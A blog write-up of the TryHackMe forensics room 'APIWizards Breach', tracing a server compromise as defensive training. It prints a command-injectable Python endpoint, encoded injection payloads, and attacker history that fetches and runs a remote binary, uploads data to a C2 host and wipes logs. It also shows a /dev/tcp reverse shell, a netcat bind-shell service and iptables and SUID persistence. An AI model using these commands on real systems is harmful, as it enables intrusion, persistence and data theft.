Post

TryHackMe: APIWizards Breach


Preparation

You were hired as a dedicated external DFIR specialist to help the APIWizards Inc. company with a security incident in their production environment. APIWizards develop REST APIs on demand and hosts them on separate Ubuntu servers. The company suspects that one of its servers is compromised.

We were given some SSH credentials :

  • IP Address: Machine_IP
  • Username: dev
  • Password: d3v-p455w0rd

Initial Access

  1. Which programming language is a web application written in?

Connecting to the machine through SSH, we were able to retrieve the language that the web app is written in.

1
2
3
4
dev@prod-web-003:~$ ls
apiservice
dev@prod-web-003:~$ ls apiservice/
main.py  __pycache__  src

Answer: Python

  1. What is the IP address that attacked the web server?

Looking through the nginx logs in /var/log/nginx we find what we are looking for.

1
2
3
4
5
6
7
8
9
10
11
dev@prod-web-003:~$ head /var/log/nginx/access.log.1

149.34.244.142 - - [30/Jul/2023:16:06:33 +0000] "GET / HTTP/1.1" 404 22 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET / HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET /de4aa46b-dc57-4587-8052-ad389f9c5c8f HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET /images HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET /index HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET /download HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET /news HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET /2006 HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"
149.34.244.142 - - [30/Jul/2023:16:12:41 +0000] "GET /crack HTTP/1.1" 404 22 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54"

Answer: 149.34.244.142

  1. Which vulnerability was found and exploited in the API service?

Looking through the web app source code we can see that the function time() is executing system commands whithout any sanitization which allowed the attacker to inject commands.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import subprocess

from fastapi import APIRouter

api = APIRouter(prefix="/api")


def execute(cmd):
    proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
    out, _ = proc.communicate()
    return out.decode().strip()


@api.get("/")
async def root():
    # TODO add documentation
    return {}


@api.get("/zone")
async def zone():
    cmd = "timedatectl list-timezones"
    out = execute(cmd)
    out = out.split("\n")
    return {"status": "ok", "timezones": out}


@api.get("/time")
async def time(tz: str = "UTC"):
    cmd = 'TZ="{}" date +"%Y-%m-%d %H:%M:%S"'
    cmd = cmd.format(tz)
    out = execute(cmd)
    return {"status": "ok", "timezone": tz, "datetime": out}

To confirm that, we can look at /var/log/nginx/access.log.1 one more time.

1
2
3
4
5
6
7
8
9
10
11
dev@prod-web-003:~/apiservice/src$ tail /var/log/nginx/access.log.1
149.34.244.142 - - [30/Jul/2023:16:13:25 +0000] "GET /api/time HTTP/1.1" 200 65 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:13:32 +0000] "GET /api/time?tz=test HTTP/1.1" 200 66 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:26 +0000] "GET /api/time?tz=%22%20whoami%20%23 HTTP/1.1" 200 57 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:36 +0000] "GET /api/time?tz=%22%20pwd%20%23 HTTP/1.1" 200 71 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:14:40 +0000] "GET /api/time?tz=%22%20id%20%23 HTTP/1.1" 200 149 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:02 +0000] "GET /api/time?tz=%22%20which%20ssh%20%23 HTTP/1.1" 200 69 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:26 +0000] "GET /api/time?tz=%22%3B%20mkdir%20%2Fhome%2Fdev%2F%2Essh%20%26%26%20chmod%20700%20%2Fhome%2Fdev%2F%2Essh%20%23 HTTP/1.1" 200 97 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:16:29 +0000] "GET /api/time?tz=%22%3B%20mkdir%20%2Fhome%2Fdev%2F%2Essh%20%26%26%20chmod%20700%20%2Fhome%2Fdev%2F%2Essh%20%23 HTTP/1.1" 200 97 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:17:45 +0000] "GET /api/time?tz=%22%3B%20echo%20%22ssh%2Ded25519%20AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp%2FHdNbiEFl5Eagg%2FQIyBg5NdP%22%20%3E%3E%20%2Fhome%2Fdev%2F%2Essh%2Fauthorized%5Fkeys%20%23 HTTP/1.1" 200 172 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
149.34.244.142 - - [30/Jul/2023:16:21:29 +0000] "GET /api/time?tz=%22%3B%20echo%20%22ssh%2Ded25519%20AAAAC3NzaC1lZDI1NTE5AAAAICA2iX8BUH3ySq42MSFp%2FHdNbiEFl5Eagg%2FQIyBg5NdP%22%20%3E%3E%20%2Fhome%2Fdev%2F%2Essh%2Fauthorized%5Fkeys%20%23 HTTP/1.1" 200 172 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"

Looking through the GET requests the web server is receiving we can see some url-encoded commands being injected which can be decoded using urldecoder.

Screenshot

Answer: OS command injection

  1. Which file contained the credentials used to privesc to root?

Looking into the config.py file we can confirm that the attacker used this file to privesc.

1
2
3
4
5
6
7
8
9
10
dev@prod-web-003:~/apiservice/src$ ls
api.py  config.py  __pycache__
dev@prod-web-003:~/apiservice/src$ cat config.py 
class config:
    API_HOST = "0.0.0.0"
    API_PORT = 8081

    # TODO: Implement some authentication
    # API_USER = "dev"
    # API_PASS = "d3v-p455w0rd"

Answer: /home/dev/apiservice/src/config.py

  1. What file did the hacker drop and execute to persist on the server?

Switching to root user, we can find what we’re looking for in .bash_history.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
dev@prod-web-003:~/apiservice/src$ sudo su -
curl: (28) Connection timed out after 5001 milliseconds
root@prod-web-003:~# ls -a
.  ..  .bash_history  .bashrc  .dump.json  .lesshst  .local  .profile  .review.csv  snap  .ssh
root@prod-web-003:~# cat .bash_history 
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2 
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys 
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
curl -v 192.168.0.22:8080
wget 192.168.0.22:8080/cde-backup.csv
>/var/log/wtmp
>/var/log/btmp
lastlog --clear --user root
lastlog --clear --user dev
mv cde-backup.csv .review.csv 
systemctl status nginx
systemctl status apiservice
curl localhost
systemctl status apiservice
exit
ls
ls -a

Answer: /tmp/rooter2

  1. Which service was used to host the “rooter2” malware?

From the .bash_history file we can see that the malware was hosted on https://transfer.sh.

Answer: transfer.sh

Further Actions

  1. Which two system files were infected to achieve cron persistence?

First thing to look at for cron jobs is the /etc/crontab file and we can find a bash reverse shell command being executed regularly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@prod-web-003:~# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 * * * * root    cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
20 4 * * * root eval $SYSTEMUPDATE
root@prod-web-003:~# echo $SYSTEMUPDATE
/bin/bash -c '/bin/bash -i >& /dev/tcp/5.230.66.147/1337 0>&1'
root@prod-web-003:~# 

As we can see, there is a defined system variable $SYSTEMUPDATE which contain the bash rev shell, looking at /etc/environment we can see that the variable is defined in there.

1
2
3
4
root@prod-web-003:~# cat /etc/environment 
PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
SYSTEMUPDATE=/bin/bash -c '/bin/bash -i >& /dev/tcp/5.230.66.147/1337 0>&1'
root@prod-web-003:~# 

Answer: /etc/crontab, /etc/environment

  1. What is the C2 server IP address of the malicious actor?

The answer can be found in the environment variable $SYSTEMUPDATE.

Answer: 5.230.66.147

  1. What port is the backdoored bind bash shell listening at?

Looking at the listening ports we can see that netcat is using port 3578 which is an odd port.

1
2
3
4
5
6
7
8
9
10
root@prod-web-003:~# ss -tlnp
State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port      Process                                                     
LISTEN      0           4096             127.0.0.53%lo:53                   0.0.0.0:*          users:(("systemd-resolve",pid=545,fd=14))                  
LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*          users:(("sshd",pid=624,fd=3))                              
LISTEN      0           1                      0.0.0.0:3578                 0.0.0.0:*          users:(("nc",pid=584,fd=3))                                
LISTEN      0           511                    0.0.0.0:80                   0.0.0.0:*          users:(("nginx",pid=677,fd=6),("nginx",pid=676,fd=6))      
LISTEN      0           2048                   0.0.0.0:8081                 0.0.0.0:*          users:(("python3",pid=556,fd=6))                           
LISTEN      0           128                       [::]:22                      [::]:*          users:(("sshd",pid=624,fd=4))                              
LISTEN      0           511                       [::]:80                      [::]:*          users:(("nginx",pid=677,fd=7),("nginx",pid=676,fd=7))                               
root@prod-web-003:~# 

Answer: 3578

  1. How does the bind shell persist across reboots?

Looking at the root of the process that’s running the bind shell we can see that it’s running by a systemd service and that’s what it’s keeping the bind shell running even across reboots.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@prod-web-003:~# pstree -H 584
systemd─┬─ModemManager───2*[{ModemManager}]
        ├─2*[agetty]
        ├─amazon-ssm-agen───7*[{amazon-ssm-agen}]
        ├─bash─┬─bash
        │      ├─cat
        │      └─nc
        ├─cron
        ├─dbus-daemon
        ├─multipathd───6*[{multipathd}]
        ├─networkd-dispat
        ├─nginx───nginx
        ├─polkitd───2*[{polkitd}]
        ├─python3
        ├─rsyslogd───3*[{rsyslogd}]
        ├─snapd───7*[{snapd}]
        ├─sshd───sshd───sshd───bash───sudo───sudo───su───bash───pstree
        ├─systemd───(sd-pam)
        ├─systemd-journal
        ├─systemd-logind
        ├─systemd-network
        ├─systemd-resolve
        ├─systemd-timesyn───{systemd-timesyn}
        ├─systemd-udevd
        ├─udisksd───4*[{udisksd}]
        └─unattended-upgr───{unattended-upgr}

Answer: systemd service

  1. What is the absolute path of the malicious service?

For us to find the absolute path of the service we can grep on “nc -l” in all systemd services located at /etc/systemd.

1
2
3
root@prod-web-003:~# grep -iR "nc -l" /etc/systemd/
/etc/systemd/system/multi-user.target.wants/socket.service:| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'
/etc/systemd/system/socket.service:| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'

we can confirm our finding by cating the service file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
root@prod-web-003:~# cat /etc/systemd/system/socket.service
[Unit]
Description=Linux Socket Service
Wants=network-online.target
After=network-online.target

[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/
ExecStart=/bin/bash -c \
'mkfifo /tmp/s; cat /tmp/s | /bin/bash 2>&1 \
| nc -l $((1786*2+6)) >/tmp/s; rm /tmp/s'

Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target

Answer: /etc/systemd/system/socket.service

Even More Persistence

  1. Which port is blocked on the victim’s firewall?

Looking at the iptables we can see that port 3578 is blocked for everyone but the attacker.

1
2
3
4
5
6
7
8
9
10
11
12
root@prod-web-003:~# iptables -n -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     tcp  --  5.230.66.147         0.0.0.0/0           
DROP       tcp  --  0.0.0.0/0            0.0.0.0/0            tcp dpt:3578

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination         
ACCEPT     tcp  --  0.0.0.0/0            5.230.66.147  

Answer: 3578

  1. How do the firewall rules persist across reboots?

Since the rule persists even after a reboot something might be setting it up once logged in, for that we can grep for the iptables command.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@prod-web-003:~# grep -iR "iptables" /root
/root/.bashrc:iptables -I OUTPUT 1 -p tcp -d 5.230.66.147 -j ACCEPT
/root/.bashrc:iptables -I INPUT 1 -p tcp -s 5.230.66.147 -j ACCEPT
/root/.bashrc:iptables -I INPUT 2 -p tcp -s 0.0.0.0/0 --dport 3578 -j DROP
/root/.bash_history:iptables -n -L
root@prod-web-003:~# cat /root/.bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

[...]

shopt -s histappend
PROMPT_COMMAND="history -a;$PROMPT_COMMAND"
iptables -I OUTPUT 1 -p tcp -d 5.230.66.147 -j ACCEPT
iptables -I INPUT 1 -p tcp -s 5.230.66.147 -j ACCEPT
iptables -I INPUT 2 -p tcp -s 0.0.0.0/0 --dport 3578 -j DROP
curl -m 5 http://5.230.66.147/me7d6bd4beh4ura8/fix

For every log in as the root account the iptables will be refreshed keeping the rules up for as long as possible.

Answer: /root/.bashrc

  1. How is the backdoored local Linux user named?

Looking for users with a proper shell in the /etc/passwd we can find the backdoored linux user we’re looking for.

1
2
3
4
root@prod-web-003:~# grep /bin/bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
dev:x:1000:1000:dev:/home/dev:/bin/bash
support:x:1001:1001:,,,:/home/support:/bin/bash

Answer: support

  1. Which privileged group was assigned to the user?

Looking at the support’s account groups with id we can see that the user is part of the sudo group.

1
2
root@prod-web-003:~# id support
uid=1001(support) gid=1001(support) groups=1001(support),27(sudo)

Answer: sudo

  1. What is the strange word on one of the backdoored SSH keys?

The attacker left his key in 2 places, at dev and at root. Looking through each authorized_keys we can see something odd in the key left to root.

1
2
root@prod-web-003:~# cat /root/.ssh/authorized_keys 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPllf3AGMrW5GhvcX7eq2vbCIxElU3Ef/HRm5ZwLVbKj ntsvc

Answer: ntsvc

  1. Can you spot and name one more popular persistence method?

SUID binaries are quite common for persistence as they’re easy to use and pretty effective !

Answer: SUID binary

  1. What are the original and the backdoored binaries from question 6?

Looking for binaries with SUID on, we found a binary with both SUID and SGID.

1
2
root@prod-web-003:~# find / -perm -6000 -ls 2>/dev/null
   309266   1364 -rwsr-sr-x   1 root     root      1396520 Jan  6  2022 /usr/bin/clamav

Trying to execute the binary, we notice the curl: (28) Connection timed out after 5000 milliseconds error that we got earlier when we switched to root (Initial Access - Question 5) so we suppose here that this is an undercovered bash binary, comparing both binaries checksum we can confirm that it’s indeed bash.

1
2
3
4
root@prod-web-003:~# sha1sum /usr/bin/clamav
6b6843dae13e009a3267eed8f472bebe47e39e31  /usr/bin/clamav
root@prod-web-003:~# sha1sum /usr/bin/bash
6b6843dae13e009a3267eed8f472bebe47e39e31  /usr/bin/bash

Answer: /usr/bin/bash, /usr/bin/clamav

  1. What technique was used to hide the backdoor creation date?

Looking at the binary stats with stat we can see that modify has been manually changed by the attacker. This technique is a common defense evasion to avoid being discovered and noticed called timestomping.

1
2
3
4
5
6
7
8
9
root@prod-web-003:~# stat /usr/bin/clamav
  File: /usr/bin/clamav
  Size: 1396520    Blocks: 2728       IO Block: 4096   regular file
Device: ca02h/51714d Inode: 309266      Links: 1
Access: (6755/-rwsr-sr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-08-03 18:17:39.816000000 +0000
Modify: 2022-01-06 16:23:33.000000000 +0000
Change: 2023-07-30 16:38:02.297297078 +0000
Birth: 2023-07-30 16:38:02.293297027 +0000

Answer: Timestomping

Final Target

  1. What file was dropped which contained gathered victim information?

Looking at the root’s home directory we can notice a .dump.json file which is a json file that contains some base64 encoded values.

1
2
root@prod-web-003:~# cat /root/.dump.json 
{"C0":"ODguMTU2LjEzMi42Nw==","C1":"cHJvZC13ZWItMDAzOjoyMDIzLTA3LTMwIDE2OjAzOjI2Ojo1LjE1LjAtNzgtZ2VuZXJpYzo6VWJ1bnR1IDIyLjA0LjIgTFRTOjpzc2gtMjI=","C2":"MTkyLjE2OC4wLjIxOjIyOjoxOTIuMTY4LjAuMjE6ODA6OjE5Mi4xNjguMC4yMjoyMg=="}

Answer: /root/.dump.json

  1. According to the dropped dump, what is the server’s kernel version?
1
2
root@prod-web-003:~# echo -n cHJvZC13ZWItMDAzOjoyMDIzLTA3LTMwIDE2OjAzOjI2Ojo1LjE1LjAtNzgtZ2VuZXJpYzo6VWJ1bnR1IDIyLjA0LjIgTFRTOjpzc2gtMjI= | base64 -d
prod-web-003::2023-07-30 16:03:26::5.15.0-78-generic::Ubuntu 22.04.2 LTS::ssh-22

Answer: 5.15.0-78-generic

  1. Which active internal IPs were found by the “rooter2” network scan?
1
2
root@prod-web-003:~# echo -n MTkyLjE2OC4wLjIxOjIyOjoxOTIuMTY4LjAuMjE6ODA6OjE5Mi4xNjguMC4yMjoyMg== | base64 -d
192.168.0.21:22::192.168.0.21:80::192.168.0.22:22

Answer: 192.168.0.21, 192.168.0.22

  1. How did the hacker find an exposed HTTP index on another internal IP?

Looking at the root .bash_history we can see that the attacker used netcut greping for all successful connections.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@prod-web-003:~# cat .bash_history 
cd /tmp/
wget https://transfer.sh/2tttL9HJLG/rooter2
file rooter2 
chmod +x rooter2 && ./rooter2
cd /root/
ls -la
cat .ssh/authorized_keys 
ll .ssh/
curl --upload-file .dump.json http://5.230.66.147/me7d6bd4beh4ura8/upload
nc -zv 192.168.0.22 22
nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed
curl -v 192.168.0.22:8080
wget 192.168.0.22:8080/cde-backup.csv
>/var/log/wtmp
>/var/log/btmp
lastlog --clear --user root
lastlog --clear --user dev
mv cde-backup.csv .review.csv 
systemctl status nginx
systemctl status apiservice
curl localhost
systemctl status apiservice
exit

Answer: nc -zv 192.168.0.22 1024-10000 2>&1 | grep -v failed

  1. What command was used to exfiltrate the CDE database from the internal IP?

we can see as well that wget has been used to exfiltrate some kind of a .csv file.

Answer: wget 192.168.0.22:8080/cde-backup.csv

  1. What is the most secret and precious string stored in the exfiltrated database?

cating the .review.csv file in root’s home directory will give us the flag we need!

1
2
3
4
5
6
7
8
9
10
11
root@prod-web-003:~# cat .review.csv 
name,email,savedcard
-,-,pwned{v3ry-secur3-cardh0ld3r-data-environm3nt}
Nolan Stanton,nolanstanton@outlook.com,5352 8841 6967 2533
Adrienne Clark,adrienneclark1121@outlook.com,5456 8428 8247 1455
Amaya Richmond,amayarichmond@apiwizards.com,5338 6565 4623 7944
Camille Gilbert,camillegilbert@gmail.com,5318 8381 6714 8386
[...]
Upton Manning,uptonmanning1724@outlook.com,5396 6467 8784 7625
Oliver Hayes,oliverhayes@apiwizards.com,5378 4267 8934 8886
Xenos Petty,xenospetty5516@outlook.com,5482 1522 4841 2138

Answer: pwned{v3ry-secur3-cardh0ld3r-data-environm3nt}

And there it is, we successfully handled the investigation and completed the room!

This post is licensed under CC BY 4.0 by the author.